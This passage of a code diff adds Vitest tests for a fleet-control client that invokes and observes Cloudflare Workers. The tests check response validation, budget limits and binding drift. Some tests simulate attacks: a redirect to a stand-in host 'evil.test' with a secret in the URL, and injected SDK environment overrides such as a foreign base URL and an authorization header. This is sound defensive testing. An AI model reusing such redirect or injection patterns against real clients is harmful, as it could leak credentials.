+    expect(fetchRequest).not.toHaveBeenCalled();
+    expect(f.journal.snapshot().invocationCount).toBe(0);
+  });
+
+  it.each([
+    'invalid-action',
+    'serialization',
+    'reservation-callback',
+    'reservation-fsync',
+  ])('does not dispatch after rejected reservation: %s', async (kind) => {
+    const f = await fixture();
+    const fetchRequest = vi.fn<typeof fetch>();
+    let journal = f.journal;
+    let action: unknown = { kind: 'control-read' };
+    if (kind === 'invalid-action')
+      action = { kind: 'force-recovery', arbitrary: SECRET };
+    if (kind === 'serialization')
+      action = {
+        toJSON() {
+          throw new Error(SECRET);
+        },
+      };
+    if (kind === 'reservation-callback')
+      journal = {
+        ...journal,
+        async reserveInvocation() {
+          throw new Error(SECRET);
+        },
+      };
+    if (kind === 'reservation-fsync') {
+      const file = await open(f.configPath);
+      const prototype = Object.getPrototypeOf(file);
+      await file.close();
+      vi.spyOn(prototype, 'sync').mockRejectedValueOnce(new Error(SECRET));
+    }
+    const client = createDirectInvocationClient({
+      ...f.options,
+      journal,
+      fetch: fetchRequest,
+    });
+    await expect(
+      client.invoke(action as DirectReferenceAction),
+    ).rejects.toMatchObject({ code: 'invalid-input' });
+    expect(fetchRequest).not.toHaveBeenCalled();
+    expect(f.journal.snapshot().invocationCount).toBe(0);
+  });
+
+  it.each([
+    'generic-503',
+    'wrong-503-action',
+    'extra-503-field',
+    'wrong-503-code',
+    '503-missing-count',
+    '503-malformed-count',
+    'generic-500',
+    'unknown-409',
+    'redirect',
+    'redirected-200',
+    'wrong-run',
+    'wrong-action',
+    'extra-field',
+    'missing-result',
+    'wrong-version',
+    'invalid-json',
+    'cache-header',
+    'content-type',
+    'missing-count',
+    'negative-count',
+    'noncanonical-count',
+    'infinite-count',
+    'unsafe-count',
+    'count-budget',
+    'invalid-utf8',
+    'oversize-declared',
+    'oversize-actual',
+    'partial-body',
+    'network-error',
+    'hostile-rejection',
+  ])('retains pending state and refuses resume for an unaccepted exchange: %s', async (kind) => {
+    const f = await fixture();
+    const body = f.success('provision');
+    let response: Response;
+    if (kind.includes('503')) {
+      const value: Record<string, unknown> = {
+        contractVersion: 1,
+        ok: false,
+        error: {
+          code:
+            kind === 'wrong-503-code'
+              ? 'operation-refused'
+              : 'injected-response-loss',
+        },
+      };
+      if (kind === 'extra-503-field') value.extra = true;
+      response = f.response(
+        kind === 'generic-503' ? { error: SECRET } : value,
+        503,
+      );
+    } else if (kind === 'generic-500' || kind === 'unknown-409')
+      response = f.response(
+        {
+          contractVersion: 1,
+          ok: false,
+          error: {
+            code: kind === 'generic-500' ? 'operation-refused' : SECRET,
+          },
+        },
+        kind === 'generic-500' ? 500 : 409,
+      );
+    else if (kind === 'redirect')
+      response = new Response(null, {
+        status: 302,
+        headers: { location: `https://evil.test/${SECRET}` },
+      });
+    else if (kind === 'invalid-utf8')
+      response = new Response(new Uint8Array([0xff]), {
+        headers: responseHeaders,
+      });
+    else if (kind === 'oversize-actual')
+      response = new Response(new Uint8Array(4 * 1024 * 1024 + 1), {
+        headers: { ...responseHeaders, 'Content-Length': '1' },
+      });
+    else if (kind === 'invalid-json')
+      response = new Response(SECRET, { headers: responseHeaders });
+    else if (kind === 'partial-body')
+      response = new Response(
+        new ReadableStream({
+          start(controller) {
+            controller.enqueue(new TextEncoder().encode(JSON.stringify(body)));
+            controller.error(new Error(SECRET));
+          },
+        }),
+        { headers: responseHeaders },
+      );
+    else {
+      if (kind === 'wrong-run') body.configSha256 = 'f'.repeat(64);
+      if (kind === 'wrong-action') body.action = 'force-recovery';
+      if (kind === 'wrong-version') body.contractVersion = 2;
+      if (kind === 'extra-field') Object.assign(body, { secret: SECRET });
+      if (kind === 'missing-result') Reflect.deleteProperty(body, 'result');
+      response = f.response(body);
+    }
+    if (kind === 'redirected-200')
+      Object.defineProperty(response, 'redirected', { value: true });
+    if (kind === 'cache-header') response.headers.delete('Cache-Control');
+    if (kind === 'content-type')
+      response.headers.set('Content-Type', 'text/plain');
+    if (kind === 'missing-count' || kind === '503-missing-count')
+      response.headers.delete('X-Direct-Provider-Attempts');
+    if (kind === '503-malformed-count')
+      response.headers.set('X-Direct-Application-Attempts', '0.0');
+    if (kind === 'negative-count')
+      response.headers.set('X-Direct-Provider-Attempts', '-1');
+    if (kind === 'noncanonical-count')
+      response.headers.set('X-Direct-Provider-Attempts', '01');
+    if (kind === 'infinite-count')
+      response.headers.set('X-Direct-Provider-Attempts', 'Infinity');
+    if (kind === 'unsafe-count')
+      response.headers.set('X-Direct-Provider-Attempts', '9007199254740992');
+    if (kind === 'count-budget')
+      response.headers.set(
+        'X-Direct-Provider-Attempts',
+        String(f.prepared.config.referenceWorker.maxProviderRequests),
+      );
+    if (kind === 'oversize-declared')
+      response.headers.set('Content-Length', String(4 * 1024 * 1024 + 1));
+    await expectUnknown(
+      f,
+      async () => {
+        if (kind === 'network-error') throw new Error(SECRET, { cause: CLAIM });
+        if (kind === 'hostile-rejection') {
+          const { proxy, revoke } = Proxy.revocable({}, {});
+          revoke();
+          throw proxy;
+        }
+        return response;
+      },
+      kind.includes('503') && kind !== 'wrong-503-action'
+        ? { kind: 'migration-continue' }
+        : { kind: 'provision', role: 'a', release: 'initial' },
+    );
+  });
+
+  it('accepts a response exactly at the byte cap and preserves zero-attempt replay evidence', async () => {
+    const f = await fixture();
+    const empty = JSON.stringify(f.success('control-read', ''));
+    const response = f.response(
+      f.success(
+        'control-read',
+        'a'.repeat(4 * 1024 * 1024 - Buffer.byteLength(empty)),
+      ),
+    );
+    for (const name of ['Provider', 'Maintenance', 'Application'])
+      response.headers.set(`X-Direct-${name}-Attempts`, '0');
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: async () => response,
+    });
+    const result = await client.invoke({ kind: 'control-read' });
+    expect(result.attempts).toEqual({
+      provider: 0,
+      maintenance: 0,
+      application: 0,
+    });
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it.each([
+    ['operation-refused', 409],
+    ['wrong-operation', 409],
+    ['missing-continuation', 409],
+    ['budget-exhausted', 503],
+  ] as const)('settles the exact execution refusal %s/%s before permitting another budgeted call', async (code, status) => {
+    const f = await fixture(2);
+    const fetchRequest = vi.fn<typeof fetch>(async () =>
+      f.response({ contractVersion: 1, ok: false, error: { code } }, status),
+    );
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    });
+    await expect(
+      client.invoke({ kind: 'recover-force-residual' }),
+    ).rejects.toMatchObject({
+      code: 'reference-refused',
+      referenceCode: code,
+      attempts,
+    });
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+    await closed(f.journal);
+    const journal = await opened({ ...f.input, mode: 'resume' });
+    fetchRequest.mockImplementation(async () => f.response());
+    const resumed = createDirectInvocationClient({
+      ...f.options,
+      journal,
+      fetch: fetchRequest,
+    });
+    await resumed.invoke({ kind: 'control-read' });
+    expect(journal.snapshot().invocationCount).toBe(2);
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+  });
+
+  it('refuses overlapping calls without another dispatch or reservation', async () => {
+    const f = await fixture();
+    let release!: (value: Response) => void;
+    const deferred = new Promise<Response>((resolve) => {
+      release = resolve;
+    });
+    const fetchRequest = vi.fn<typeof fetch>(async () => deferred);
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    });
+    const first = client.invoke({ kind: 'control-read' });
+    await expect(
+      client.invoke({ kind: 'force-recovery' }),
+    ).rejects.toMatchObject({ code: 'invocation-busy' });
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    expect(f.journal.snapshot().invocationCount).toBe(1);
+    release(f.response());
+    await first;
+    fetchRequest.mockImplementation(async () => f.response());
+    await client.invoke({ kind: 'control-read' });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+  });
+
+  it.each([
+    'callback',
+    'fsync',
+  ])('refuses later dispatch when durable settlement fails: %s', async (kind) => {
+    const f = await fixture();
+    let journal = f.journal;
+    if (kind === 'callback')
+      journal = {
+        ...journal,
+        async settleInvocation() {
+          throw new Error(SECRET);
+        },
+      };
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      if (kind === 'fsync') {
+        const file = await open(f.configPath);
+        const prototype = Object.getPrototypeOf(file);
+        await file.close();
+        vi.spyOn(prototype, 'sync').mockRejectedValueOnce(new Error(SECRET));
+      }
+      return f.response();
+    });
+    const client = createDirectInvocationClient({
+      ...f.options,
+      journal,
+      fetch: fetchRequest,
+    });
+    await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject(
+      { code: 'outcome-unknown' },
+    );
+    await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject(
+      { code: 'outcome-unknown' },
+    );
+    expect(fetchRequest).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+    await closed(f.journal);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it.each([
+    'headers',
+    'incomplete',
+    'cancel-pending',
+    'cancel-rejects',
+    'oversize-cancel-pending',
+  ])('bounds abort-insensitive %s without settling or unhandled rejection', async (kind) => {
+    const f = await fixture(3, 50);
+    let releaseHeaders!: (value: Response) => void;
+    const late = new Promise<Response>((resolve) => {
+      releaseHeaders = resolve;
+    });
+    const cancel = vi.fn(() =>
+      kind === 'cancel-rejects'
+        ? Promise.reject(new Error(SECRET))
+        : kind === 'incomplete'
+          ? Promise.resolve()
+          : new Promise<void>(() => {}),
+    );
+    const response = new Response(
+      new ReadableStream({
+        start(controller) {
+          controller.enqueue(
+            kind === 'oversize-cancel-pending'
+              ? new Uint8Array(4 * 1024 * 1024 + 1)
+              : new TextEncoder().encode(JSON.stringify(f.success())),
+          );
+        },
+        cancel,
+      }),
+      { headers: responseHeaders },
+    );
+    const unhandled: unknown[] = [];
+    const listener = (error: unknown) => {
+      unhandled.push(error);
+    };
+    process.on('unhandledRejection', listener);
+    const began = performance.now();
+    try {
+      await expectUnknown(f, async () =>
+        kind === 'headers' ? late : response,
+      );
+      expect(performance.now() - began).toBeLessThan(1000);
+      if (kind === 'headers') releaseHeaders(response);
+      await vi.waitFor(() => expect(cancel).toHaveBeenCalled());
+      await new Promise<void>((resolve) => setImmediate(resolve));
+      expect(unhandled).toEqual([]);
+    } finally {
+      process.off('unhandledRejection', listener);
+      releaseHeaders(response);
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-observations.test.ts b/packages/fleet-control/test/direct-credentialed-observations.test.ts
new file mode 100644
index 00000000..1e390e65
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-observations.test.ts
@@ -0,0 +1,1162 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { execFile } from 'node:child_process';
+import { promisify } from 'node:util';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import {
+  observeDirectWorkerVersion,
+  readDirectSettlementEffects,
+  verifyDirectDecommissionExport,
+} from '../scripts/direct-credentialed-observations.mjs';
+import {
+  directObservationFixture,
+  OBSERVATION_TOKEN,
+  observationHash,
+  SQL_SENTINEL,
+} from './fixtures/direct-observations.js';
+
+const fixtures: Awaited<ReturnType<typeof directObservationFixture>>[] = [];
+async function fixture(
+  timeout?: number,
+  stage?: Parameters<typeof directObservationFixture>[1],
+) {
+  const value = await directObservationFixture(timeout, stage);
+  fixtures.push(value);
+  return value;
+}
+const errorShape = {
+  name: 'DirectObservationError',
+  message: expect.stringMatching(
+    /^(invalid-input|outcome-unknown|observation-mismatch|provider-unavailable|budget-exhausted)$/u,
+  ),
+};
+function required<T>(value: T | undefined): T {
+  if (value === undefined) throw new Error('fixture value absent');
+  return value;
+}
+function recordAt(value: unknown, path: string): Record<string, unknown> {
+  return path
+    .split('.')
+    .reduce<unknown>(
+      (current, key) => (current as Record<string, unknown>)[key],
+      value,
+    ) as Record<string, unknown>;
+}
+const selected = (f: Awaited<ReturnType<typeof fixture>>) => ({
+  ...f.input,
+  ...required(f.expected[0]),
+});
+async function mutateResponse(
+  f: Awaited<ReturnType<typeof fixture>>,
+  suffix: string,
+  mutate: (value: Record<string, unknown>) => void,
+) {
+  f.hook(async (request, fallback) => {
+    const response = fallback();
+    if (!new URL(request.url).pathname.endsWith(suffix)) return response;
+    const value = (await response.json()) as Record<string, unknown>;
+    mutate(value);
+    return Response.json(value);
+  });
+}
+
+beforeEach(() => {
+  vi.stubGlobal(
+    'fetch',
+    vi.fn(() => {
+      throw new Error('unexpected network');
+    }),
+  );
+});
+afterEach(async () => {
+  vi.restoreAllMocks();
+  vi.unstubAllGlobals();
+  for (const f of fixtures.splice(0)) {
+    await f.close();
+    expect(f.unexpected).toEqual([]);
+  }
+});
+
+describe('fixed Worker observations through the native SDK', () => {
+  it('preserves budget exhaustion after SDK error wrapping for each observer', async () => {
+    for (const kind of ['version', 'settlement', 'export'] as const) {
+      const f = await fixture();
+      const exportInput = await f.exportInput();
+      const now = vi
+        .spyOn(performance, 'now')
+        .mockReturnValueOnce(0)
+        .mockReturnValue(300_001);
+      const before = f.requests.length;
+      try {
+        const operation =
+          kind === 'version'
+            ? observeDirectWorkerVersion(selected(f))
+            : kind === 'settlement'
+              ? readDirectSettlementEffects({
+                  ...f.input,
+                  expected: f.expected,
+                })
+              : verifyDirectDecommissionExport(exportInput);
+        await expect(operation).rejects.toMatchObject({
+          code: 'budget-exhausted',
+        });
+        expect(f.requests.length).toBe(before);
+      } finally {
+        now.mockRestore();
+      }
+    }
+  });
+
+  it('preserves budget exhaustion between metadata requests', async () => {
+    const f = await fixture();
+    let clock = 0;
+    const now = vi.spyOn(performance, 'now').mockImplementation(() => clock);
+    const before = f.requests.length;
+    f.hook((_request, fallback) => {
+      clock = 300_001;
+      return fallback();
+    });
+    try {
+      await expect(
+        observeDirectWorkerVersion(selected(f)),
+      ).rejects.toMatchObject({ code: 'budget-exhausted' });
+      expect(f.requests.length - before).toBe(1);
+    } finally {
+      now.mockRestore();
+    }
+  });
+
+  it.each([
+    '/versions/version-a',
+    '/settings',
+  ])('attests the complete fixed binding inventory at %s', async (suffix) => {
+    const corruptions: ((list: Record<string, unknown>[]) => void)[] = [];
+    for (const name of [
+      'DEPLOYMENT_IDENTITY_SECRET',
+      'MAINTENANCE_ADMIN_SECRET',
+      'APP_PROBE_TOKEN',
+    ]) {
+      corruptions.push((list) => {
+        const i = list.findIndex((b) => b.name === name);
+        list.splice(i, 1);
+      });
+      corruptions.push((list) => {
+        const b = required(list.find((b) => b.name === name));
+        b.type = 'plain_text';
+        b.text = 'not-a-secret-binding';
+      });
+    }
+    for (const binding of [
+      { type: 'd1', name: 'EXTRA_DB', database_id: 'foreign' },
+      { type: 'service', name: 'EXTRA_SERVICE', service: 'foreign' },
+      {
+        type: 'r2_bucket',
+        name: 'EXTRA_BUCKET',
+        bucket_name: 'foreign-bucket',
+      },
+      { type: 'plain_text', name: 'EXTRA_VAR', text: 'foreign' },
+      { type: 'secret_text', name: 'EXTRA_SECRET' },
+    ])
+      corruptions.push((list) => {
+        list.push(binding);
+      });
+    corruptions.push((list) => {
+      required(list.find((b) => b.name === 'FLEET_INGRESS_CONTRACT')).text =
+        'foreign';
+    });
+    corruptions.push((list) => {
+      list.splice(
+        list.findIndex((b) => b.name === 'FLEET_SPEC_DIGEST'),
+        1,
+      );
+    });
+    for (const corrupt of corruptions) {
+      const f = await fixture();
+      required(f.deployment.versions[0]).version_id = 'old-version';
+      await mutateResponse(f, suffix, (v) =>
+        corrupt(
+          recordAt(v, suffix === '/settings' ? 'result' : 'result.resources')
+            .bindings as Record<string, unknown>[],
+        ),
+      );
+      await expect(
+        observeDirectWorkerVersion(selected(f)),
+      ).rejects.toMatchObject({ code: 'observation-mismatch' });
+    }
+  });
+
+  it.each([
+    0, 100,
+  ])('attests %i%% traffic, version CPU, current subrequests and allocated identities', async (percentage) => {
+    const f = await fixture();
+    if (!percentage)
+      required(f.deployment.versions[0]).version_id = 'old-version';
+    const before = f.journal.snapshot();
+    const output = await observeDirectWorkerVersion(selected(f));
+    expect(output).toMatchObject({
+      role: 'a',
+      versionId: 'version-a',
+      trafficPercentage: percentage,
+      cpuLimitMs: 50,
+      subrequestLimit: 50,
+      schemaVersion: 2,
+      applicationRelease: '2',
+      databaseId: 'database-a',
+      namespaces: [
+        { binding: 'MAINTENANCE', namespaceId: 'maintenance-id' },
+        { binding: 'RUNNER', namespaceId: 'runner-id' },
+      ],
+      bucket: {
+        name: 'allocated-probe-bucket',
+        creationDate: '2026-09-09T13:00:00.000Z',
+        jurisdiction: 'default',
+      },
+    });
+    expect(Object.isFrozen(output)).toBe(true);
+    expect(Object.isFrozen(output.currentDeployment.versions[0])).toBe(true);
+    expect(f.requests).toHaveLength(5);
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+    expect(f.requests.at(-1)?.headers.get('cf-r2-jurisdiction')).toBe(
+      'default',
+    );
+    expect(f.journal.snapshot()).toEqual(before);
+    expect(JSON.stringify(output)).not.toContain(OBSERVATION_TOKEN);
+  });
+
+  it('accepts explicit zero-weight candidate entries and captures inputs before awaits', async () => {
+    const f = await fixture();
+    f.deployment.versions.splice(
+      0,
+      1,
+      { version_id: 'old-version', percentage: 100 },
+      { version_id: 'version-a', percentage: 0 },
+    );
+    const input = selected(f);
+    const operation = observeDirectWorkerVersion(input);
+    input.role = 'b';
+    input.versionId = 'foreign-version';
+    input.databaseId = 'foreign-db';
+    input.specDigest = 'f'.repeat(64);
+    const result = await operation;
+    expect(result.role).toBe('a');
+    expect(result.trafficPercentage).toBe(0);
+    expect(result.currentDeployment.versions).toHaveLength(2);
+  });
+
+  it('keeps version subrequests distinct from current settings and accepts optional metadata', async () => {
+    const f = await fixture();
+    await mutateResponse(f, '/versions/version-a', (value) => {
+      recordAt(value, 'result.resources.script_runtime.limits').subrequests =
+        999;
+      recordAt(value, 'result.resources').script = { etag: 'provider-etag' };
+      recordAt(value, 'result').number = 3;
+    });
+    expect(
+      (await observeDirectWorkerVersion(selected(f))).subrequestLimit,
+    ).toBe(50);
+  });
+
+  it('accepts absent version compatibility_flags when configuration declares no flags', async () => {
+    const f = await fixture();
+    expect(f.prepared.config.deployment.compatibilityFlags).toEqual([]);
+    await mutateResponse(f, '/versions/version-a', (value) => {
+      delete recordAt(value, 'result.resources.script_runtime')
+        .compatibility_flags;
+    });
+    await expect(
+      observeDirectWorkerVersion(selected(f)),
+    ).resolves.toMatchObject({
+      versionId: 'version-a',
+      trafficPercentage: 100,
+    });
+  });
+
+  it('refuses explicit null version compatibility_flags when configuration declares no flags', async () => {
+    const f = await fixture();
+    expect(f.prepared.config.deployment.compatibilityFlags).toEqual([]);
+    await mutateResponse(f, '/versions/version-a', (value) => {
+      recordAt(value, 'result.resources.script_runtime').compatibility_flags =
+        null;
+    });
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      { code: 'observation-mismatch' },
+    );
+  });
+
+  it('starts a fresh bounded SDK session for each observation', async () => {
+    const f = await fixture();
+    const now = vi.spyOn(performance, 'now').mockReturnValue(0);
+    expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe(
+      'version-a',
+    );
+    now.mockReturnValue(600_000);
+    expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe(
+      'version-a',
+    );
+    expect(f.requests).toHaveLength(10);
+  });
+
+  it.each([
+    [
+      'missing version id',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        delete recordAt(v, 'result').id;
+      },
+    ],
+    [
+      'wrong version id',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').id = 'wrong';
+      },
+    ],
+    [
+      'missing CPU',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        delete recordAt(v, 'result.resources.script_runtime.limits').cpu_ms;
+      },
+    ],
+    [
+      'wrong CPU',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result.resources.script_runtime.limits').cpu_ms = 999;
+      },
+    ],
+    [
+      'wrong runtime date',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result.resources.script_runtime').compatibility_date =
+          '2020-01-01';
+      },
+    ],
+    [
+      'wrong runtime flags',
+      '/versions/version-a',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result.resources.script_runtime').compatibility_flags = [
+          'wrong',
+        ];
+      },
+    ],
+    [
+      'missing subrequests',
+      '/settings',
+      (v: Record<string, unknown>) => {
+        delete recordAt(v, 'result.limits').subrequests;
+      },
+    ],
+    [
+      'wrong subrequests',
+      '/settings',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result.limits').subrequests = 3;
+      },
+    ],
+    [
+      'different exact deployment',
+      '/deployments/deployment-a',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').id = 'wrong';
+      },
+    ],
+    [
+      'missing deployments',
+      '/deployments',
+      (v: Record<string, unknown>) => {
+        delete recordAt(v, 'result').deployments;
+      },
+    ],
+    [
+      'empty deployment list',
+      '/deployments',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').deployments = [];
+      },
+    ],
+    [
+      'false envelope success',
+      '/deployments',
+      (v: Record<string, unknown>) => {
+        v.success = false;
+      },
+    ],
+    [
+      'missing result',
+      '/deployments',
+      (v: Record<string, unknown>) => {
+        delete v.result;
+      },
+    ],
+    [
+      'envelope errors',
+      '/deployments',
+      (v: Record<string, unknown>) => {
+        v.errors = [{ message: OBSERVATION_TOKEN }];
+      },
+    ],
+    [
+      'wrong bucket incarnation name',
+      '/allocated-probe-bucket',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').name = 'foreign';
+      },
+    ],
+    [
+      'missing creation date',
+      '/allocated-probe-bucket',
+      (v: Record<string, unknown>) => {
+        delete recordAt(v, 'result').creation_date;
+      },
+    ],
+    [
+      'invalid creation date',
+      '/allocated-probe-bucket',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').creation_date = 'invalid';
+      },
+    ],
+    [
+      'foreign jurisdiction',
+      '/allocated-probe-bucket',
+      (v: Record<string, unknown>) => {
+        recordAt(v, 'result').jurisdiction = 'eu';
+      },
+    ],
+  ])('rejects %s', async (_name, suffix, mutate) => {
+    const f = await fixture();
+    await mutateResponse(
+      f,
+      suffix as string,
+      mutate as (value: Record<string, unknown>) => void,
+    );
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+
+  it.each([
+    [],
+    [{ version_id: 'version-a', percentage: 99 }],
+    [{ version_id: 'version-a', percentage: -1 }],
+    [{ version_id: 'version-a', percentage: '100' }],
+    [
+      { version_id: 'version-a', percentage: 100 },
+      { version_id: 'version-a', percentage: 0 },
+    ],
+    [
+      { version_id: 'version-a', percentage: 50 },
+      { version_id: 'old', percentage: 50 },
+    ],
+  ])('rejects incomplete or ambiguous traffic %j', async (...versions) => {
+    const f = await fixture();
+    await mutateResponse(f, '/deployments', (v) => {
+      recordAt(v, 'result.deployments.0').versions = versions;
+    });
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+
+  it.each([
+    ['DB', 'database_id', 'foreign'],
+    ['MAINTENANCE', 'class_name', 'Runner'],
+    ['RUNNER', 'namespace_id', 'maintenance-id'],
+    ['RUNNER', 'script_name', 'foreign'],
+    ['RUNNER', 'dispatch_namespace', 'foreign'],
+    ['RUNNER', 'environment', 'foreign'],
+    ['PROBE_BUCKET', 'jurisdiction', 'eu'],
+    ['PROBE_BUCKET', 'bucket_name', 'invalid/bucket'],
+    ['DEPLOYMENT_TENANT', 'text', 'foreign'],
+    ['FLEET_ENVIRONMENT', 'text', 'foreign'],
+    ['FLEET_SCHEMA_VERSION', 'text', '1'],
+    ['FLEET_SPEC_DIGEST', 'text', 'f'.repeat(64)],
+    ['APPLICATION_RELEASE', 'text', '1'],
+    ['APP_PROBE_TOKEN', 'text', OBSERVATION_TOKEN],
+  ])('rejects binding drift %s.%s', async (name, field, value) => {
+    const f = await fixture();
+    await mutateResponse(f, '/versions/version-a', (v) => {
+      required(
+        (
+          recordAt(v, 'result.resources').bindings as Record<string, unknown>[]
+        ).find((b) => b.name === name),
+      )[required(field)] = value;
+    });
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+
+  it.each([
+    'missing',
+    'duplicate',
+    'unsupported',
+  ])('rejects %s bindings', async (change) => {
+    const f = await fixture();
+    await mutateResponse(f, '/versions/version-a', (v) => {
+      const list = recordAt(v, 'result.resources').bindings as Record<
+        string,
+        unknown
+      >[];
+      if (change === 'missing') list.shift();
+      if (change === 'duplicate') list.push(required(list[0]));
+      if (change === 'unsupported')
+        list.push({ type: 'kv_namespace', name: 'OTHER' });
+    });
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+
+  it.each([
+    'Application/JSON; charset=utf-8',
+    'APPLICATION/problem+JSON; profile="CaseSensitive"',
+  ])('routes %s through validated JSON before SDK parser selection', async (mime) => {
+    const f = await fixture();
+    f.hook((_request, fallback) => {
+      const r = fallback();
+      r.headers.set('content-type', mime);
+      return r;
+    });
+    expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe(
+      'version-a',
+    );
+    f.hook(
+      () =>
+        new Response('{"success":true}', { headers: { 'content-type': mime } }),
+    );
+    await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+});
+
+describe('confirmed context before provider work', () => {
+  it.each([
+    'absent',
+    'provider-pending',
+    'invocation-pending',
+    'wrong-prefix',
+    'wrong-names',
+    'wrong-fleet',
+    'no-control',
+    'wrong-digest',
+  ])('refuses %s context for every helper without dispatch', async (kind) => {
+    const stage =
+      kind === 'absent' || kind === 'provider-pending' || kind === 'no-control'
+        ? kind
+        : 'confirmed';
+    const f = await fixture(undefined, stage);
+    if (kind === 'invocation-pending')
+      await f.journal.reserveInvocation(
+        JSON.stringify({
+          contractVersion: 1,
+          configSha256: f.prepared.configSha256,
+          action: { kind: 'control-read' },
+        }),
+      );
+    const prepared = { ...structuredClone(f.prepared) };
+    if (kind === 'wrong-prefix')
+      recordAt(prepared, 'config').resourcePrefix = 'foreign';
+    if (kind === 'wrong-names')
+      recordAt(prepared, 'names.roles.a').scriptName = 'foreign';
+    if (kind === 'wrong-fleet')
+      recordAt(prepared, 'names').fleetDatabase = 'foreign';
+    if (kind === 'wrong-digest') prepared.configSha256 = 'f'.repeat(64);
+    const input = { ...f.input, prepared };
+    await expect(
+      observeDirectWorkerVersion({ ...input, ...required(f.expected[0]) }),
+    ).rejects.toMatchObject(errorShape);
+    await expect(
+      readDirectSettlementEffects({ ...input, expected: f.expected }),
+    ).rejects.toMatchObject(errorShape);
+    await expect(
+      verifyDirectDecommissionExport({
+        ...input,
+        role: 'a',
+        metadata: f.metadata,
+        sourceInvocationOrdinal: 1,
+      }),
+    ).rejects.toMatchObject(errorShape);
+    expect(f.requests).toHaveLength(0);
+  });
+
+  it.each([
+    'bad\ntoken',
+    ' leading',
+    '',
+    '\u0100',
+  ])('rejects invalid auth before dispatch', async (apiToken) => {
+    const f = await fixture();
+    await expect(
+      observeDirectWorkerVersion({ ...selected(f), apiToken }),
+    ).rejects.toMatchObject(errorShape);
+    expect(f.requests).toHaveLength(0);
+  });
+
+  it('sanitizes SDK ambient overrides and retains caller journal ownership', async () => {
+    const f = await fixture();
+    process.env.CLOUDFLARE_CUSTOM_HEADERS = 'authorization: wrong';
+    process.env.CLOUDFLARE_LOG = 'debug';
+    process.env.CLOUDFLARE_BASE_URL = 'https://unexpected.invalid';
+    const result = await observeDirectWorkerVersion(selected(f));
+    expect(result.versionId).toBe('version-a');
+    for (const key of [
+      'CLOUDFLARE_CUSTOM_HEADERS',
+      'CLOUDFLARE_LOG',
+      'CLOUDFLARE_BASE_URL',
+    ])
+      expect(process.env[key]).toBeUndefined();
+    await f.settle({ kind: 'control-read' });
+  });
+});
+
+describe('fixed settlement query and ready-row correlation', () => {
+  it('accepts null errors and messages on successful D1 statements', async () => {
+    const f = await fixture();
+    await mutateResponse(f, '/query', (body) => {
+      const statement = recordAt(body, 'result.0');
+      statement.errors = null;
+      statement.messages = null;
+    });
+    const output = await readDirectSettlementEffects({
+      ...f.input,
+      expected: f.expected,
+    });
+    expect(output.map((row) => row.role)).toEqual(['a', 'b']);
+    expect(f.requests).toHaveLength(3);
+  });
+
+  it.each([
+    { kind: 'non-empty array', errors: [{ code: 1000, message: 'x' }] },
+    { kind: 'non-array', errors: 'bad' },
+  ])('refuses $kind errors on successful D1 statements', async ({ errors }) => {
+    const f = await fixture();
+    await mutateResponse(f, '/query', (body) => {
+      recordAt(body, 'result.0').errors = errors;
+    });
+    await expect(
+      readDirectSettlementEffects({ ...f.input, expected: f.expected }),
+    ).rejects.toMatchObject({
+      name: 'DirectObservationError',
+      code: 'observation-mismatch',
+    });
+  });
+
+  it('reads reference D1 only, binds prefix/tenants, validates hashes and returns allowlisted effects', async () => {
+    const f = await fixture();
+    const before = f.journal.snapshot();
+    const output = await readDirectSettlementEffects({
+      ...f.input,
+      expected: f.expected,
+    });
+    expect(output.map((row) => row.role)).toEqual(['a', 'b']);
+    expect(output[0]).toMatchObject({
+      versionId: 'version-a',
+      databaseId: 'database-a',
+      settlementKey: f.effects[0]?.observation_key,
+      identitySha256: f.effects[0]?.identity_sha256,
+    });
+    expect(Object.isFrozen(output[0])).toBe(true);
+    expect(JSON.stringify(output)).not.toMatch(
+      /opaque-token-sentinel|entry|identity_json|provenance_json/u,
+    );
+    expect(f.requests).toHaveLength(3);
+    expect(
+      f.requests.every(
